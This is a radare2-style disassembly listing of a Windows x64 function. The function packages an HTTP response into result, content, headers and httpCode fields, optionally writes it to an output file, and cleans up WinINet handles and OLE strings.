mov rcx, rax
mov r9, rdi
mov r8, rbx
mov rdx, r13
call fcn.1400da444
mov rcx, qword [rbp + 0x88]
call fcn.1400d92a0
mov bl, 1
jmp 0x140037916
lea rax, [rbp + 0x140]
mov qword [rbp + 0xc0], rax
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x140]
call fcn.140003850
nop
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.14002ef50
movzx ebx, bl
test al, al
cmovne ebx, r13d
lea rcx, [rbp + 0x38]
call fcn.140002650
xor edx, edx
lea rcx, [rbp + 0xc8]
call fcn.14003e8c0
nop
mov dl, 1
lea rcx, [rbp + 0x270]
call fcn.14003ead0
nop
lea rdx, str.result
lea rcx, [rbp + 0xc8]
call fcn.14003f680
mov rcx, rax
lea rdx, [rbp + 0x270]
call fcn.14003ed00
nop
lea rcx, [rbp + 0x270]
call fcn.14003ec50
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x38]
call fcn.14002cc00
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x4c8]
call fcn.140023f10
nop
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.14003ea30
nop
lea rdx, str.content
lea rcx, [rbp + 0xc8]
call fcn.14003f680
mov rcx, rax
lea rdx, [rbp + 0x290]
call fcn.14003ed00
nop
lea rcx, [rbp + 0x290]
call fcn.14003ec50
nop
lea rcx, [rbp + 0x4c8]
call fcn.1400013b0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x5a8]
call fcn.140023f10
nop
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14003ea30
nop
lea rdx, [0x140163108]
lea rcx, [rbp + 0xc8]
call fcn.14003f680
mov rcx, rax
lea rdx, str.headers
call fcn.14003f680
mov rcx, rax
lea rdx, [rbp + 0x2b0]
call fcn.14003ed00
nop
lea rcx, [rbp + 0x2b0]
call fcn.14003ec50
nop
lea rcx, [rbp + 0x5a8]
call fcn.1400013b0
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x588]
call fcn.140023f10
nop
mov rdx, rax
lea rcx, [rbp + 0x2e0]
call fcn.14003ea30
nop
lea rdx, str.additionalInfo
lea rcx, [rbp + 0xc8]
call fcn.14003f680
mov rcx, rax
lea rdx, str.httpCode
call fcn.14003f680
mov rcx, rax
lea rdx, [rbp + 0x2e0]
call fcn.14003ed00
nop
lea rcx, [rbp + 0x2e0]
call fcn.14003ec50
nop
lea rcx, [rbp + 0x588]
call fcn.1400013b0
lea rdx, str.empty
lea rcx, [rbp + 0x548]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x310]
call fcn.14003ea30
nop
lea rdx, str.noData
lea rcx, [rbp + 0xc8]
call fcn.14003f680
mov rcx, rax
lea rdx, [rbp + 0x310]
call fcn.14003ed00
nop
lea rcx, [rbp + 0x310]
call fcn.14003ec50
nop
lea rcx, [rbp + 0x548]
call fcn.1400013b0
cmp byte [r14 + 8], 0
je 0x140037b27
lea rdx, str.outputFile
mov rcx, r14
call fcn.14003f890
mov r12, rax
mov rcx, r12
call fcn.14003fd90
test al, al
je 0x140037bb7
movzx edx, bl
lea rcx, [rbp + 0x330]
call fcn.14003ead0
nop
lea rdx, str.outputFi
lea rcx, [rbp + 0x508]
call fcn.140001370
nop
lea r8, str.leResult
mov rdx, rax
lea rcx, [rbp + 0x4e8]
call fcn.140038240
nop
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.14003f990
mov rcx, rax
lea rdx, [rbp + 0x330]
call fcn.14003ed00
nop
lea rcx, [rbp + 0x4e8]
call fcn.1400013b0
nop
lea rcx, [rbp + 0x508]
call fcn.1400013b0
nop
lea rcx, [rbp + 0x330]
call fcn.14003ec50
lea rdx, [rbp + 0xc8]
mov rcx, qword [rbp - 0x68]
call fcn.14003eaf0
mov dword [rsp + 0x44], r13d
lea rcx, [rbp + 0xc8]
call fcn.14003ec50
jmp 0x140037665
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x140037bf7
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.InternetReadFile_Failed
lea rcx, [rbp + 0x78]
call fcn.140003890
nop
mov rdx, rax
mov rcx, qword [rbp - 0x68]
call fcn.1400305c0
mov dword [rsp + 0x44], r13d
lea rcx, [rbp + 0x78]
call fcn.140002650
nop
lea rcx, [rbp - 0x20]
call fcn.14002f9a0
jmp 0x140036f75
mov ecx, 0x80004005
call fcn.140001920
nop
mov rcx, qword [rbp - 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x140037c57
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rbp + 0x5d8]
mov qword [rbp + 0x5d0], rax
mov r8d, 3
mov rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0x5d0]
call fcn.14001c830
nop
mov rcx, qword [rbp + 0x5d0]
call fcn.1400d8428
mov edx, eax
mov rbx, qword [rbp - 0x68]
mov rcx, rbx
call fcn.140030850
mov dword [rsp + 0x44], r13d
lea rax, [rbp + 0x5d8]
mov rcx, qword [rbp + 0x5d0]
cmp rcx, rax
je 0x140037cb4
call fcn.1400d7d50
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037ccd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037ce6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037cff
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037d19
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037d33
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037d4d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037d67
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037d80
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037d9a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037db3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140037dcc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, rbx
mov rcx, qword [rbp + 0x16e0]
xor rcx, rsp
call fcn.1400d72a0
add rsp, 0x17f8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret